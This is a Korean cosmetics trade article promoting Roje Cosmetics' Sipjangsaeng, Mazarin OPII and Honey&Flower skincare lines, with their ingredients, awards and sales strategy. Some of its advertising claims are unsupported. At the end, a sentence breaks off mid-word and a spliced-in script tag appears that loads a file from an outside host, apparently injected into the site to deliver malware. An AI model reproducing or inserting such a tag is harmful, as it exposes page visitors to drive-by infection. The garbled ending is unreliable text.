21세기의 대안 오리엔탈리즘에 맞춰 2002년 10월에 출시된 ‘십장생’은 불로장생의 상징인 10가지 소재 ‘해·구름·산·바위·물·학·사슴·거북·소나무·불로초’를 형상화해 피부에 가장 적합한 한방원료 10가지를 모아 십장생 복합체(SJS complex)를 개발, 특허를 출원(제 2001-31715호)한 제품이다.
1997년부터 5년간 체계적으로 준비한 제품으로 오랜 연구와 실험을 통해 피부에 매우 편안하게 작용하도록 개발해 국제 경쟁력을 갖추고 있다.
앞으로 국내의 인기에 힘입어 미국 등 수출하는 화장품으로서도 기대를 모으고 있다.
로제화장품은 십장생 브랜드를 통해 전문점과의 동반자적인 관계를 유지하며 전문점과 함께하는 파트너십에 역점을 두어, 과다 경쟁이 초래한 유통질서의 문란을 해결하기 위해 새로운 대안으로 부상하는 전문점 직거래를 선택하였다.
전문점의 적정이윤 확보와 상권을 보호하며 전문점 활성화에 기여하기 위해 업계 최초로 시판 채널의 전문점에 직거래 사업을 시작했다는 것에 큰 의미를 부여했다.
또한 십장생은 업계 최초로 한방브랜드 중에서 한국표준협회가 주관하는 신기술 으뜸상 대상을 2년 연속 수상했으며, 한국 디자인 진흥원에서 실시한 우수디자인(GD)선정, 국민광고대상 우수상 선정, 한국일보, 머니투데이, 국민일보 등에서 히트상품에 선정된 브랜드 파워가 큰 브랜드이다.
오퍼스투-피부 유사성분의 확실한 효과
마자린 ‘오퍼스투’는 피부 유사 성분을 함유해 피부 단계별로 적극적으로 대응하는 최적의 피부관리 프로그램 화장품이다. ‘OP’는 라틴어 ‘opus’의 약자로 작품을 의미하고, 특히 음악의 클래식 작품번호를 표시할 때 사용한다.
‘MAZARIN OPII’는 ‘마자린 작품번호 제2번’으로 로제에서 만들어낸 작품으로서의 자부심을 의미하고, 로마숫자 II는 모든 여성들의 소망인 ‘제2의 새로운 피부로 다시 태어난다’는 의미로 로제의 자부심과 소망을 담은 이름이다.
또 다른 의미로는 ‘Optimum skin care Program’의 이니셜로 최적의 피부 관리 프로그램을 의미한다.
즉 피부 구조와 유사한 성분을 함유해 단계별로 최적의 효과를 갖는 피부 관리 프로그램으로서 △각질층(PROTECTING): pH 조절, 항균, 항염, 저자극성 △표피층(BALANCING): 수분밸런스, 유분밸런스, 영양밸런스 △진피층(REVITALZING): 피부 탄력, 조직 강화, 세포 재생의 효과를 갖는다.
기초화장품의 효능과 품격을 추구하는 다양하고 전문화된 소비자 니즈에 따라 상위급 브랜드인 마자린 브랜드의 리뉴얼로 이미 시장에서 확보된 브랜드력과 브랜드 인지도에 힘입어 스테디셀러 브랜드로서의 위치를 확고히 하고자 하며, 하이테크놀러지와 기능성 성분 함유 등으로 차별화 전략을 추구한다.
모던한 이미지의 절제된 형태로 표현된 현대적인 감각의 제품으로 기능성 브랜드 이미지에 초점을 두었다.
허니앤플라워-꽃처럼 아름다워지는 자연화장품
로제화장품의 신브랜드 ‘허니앤플라워’도 웰빙 트렌드 붐을 통해 ‘삶의 질’ ‘자연&건강’ ‘이너 뷰티’ 등 한 단계 수준 높은 라이프 스타일을 지향하고 있으며, 신체적 안정과 정신적 여유를 추구하는 웰빙 컨셉으로 20대 중반 합리성 추구 고객을 메인 타깃으로 출시되었다.
2004년 5월에 출시된 신 브랜드 허니앤플라워는 다양한 로제의 시판브랜드 가운데에서도 특히 주력품목인 마자린 오퍼스투 브랜드와 함께 위축된 시판시장에 새로운 활력소 제공은 물론 타겟층, 시장 세분화, 포지셔닝에서도 20대와 30대로 엄격히 구분되어져 있다.
허니앤플라워는 환경오염이 적은 청정지역에서 생활하는 꿀벌이 인류에게 제공하는 이로운 성분인 벌꿀(Honey), 로열젤리(Royal Jelly), 프로폴리스(Propolis)와 벌꿀의 원료가 되는 꽃 추출수를 도입하여 건강한 피부를 유지할 수 있도록 도와줄 뿐 아니라 아로마테라피 효과를 부여, 진정한 웰빙의 척도인 ‘허니테라피’ 효과를 부여하여 무조건 희고 예쁘게 되기 보다는 ‘즐겁고 건강하게’를 지향하는 제품이라고 할 수 있다.
따라서 피부에서 엔돌핀을 분비해 몸 전체에서 행복감을 느끼게 하는 제품으로 피부가 필요로 하는 것을 스스로 제때에 정확히 전달하여 건강하고 아름다운 피부를 갖고자 하는 웰빙 시대 여성들을 만족시킬 수 있는 ‘웰빙스킨케어 시스템’을 도입하여 이 시대 여성들을 유혹할 제품이라 자부한?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
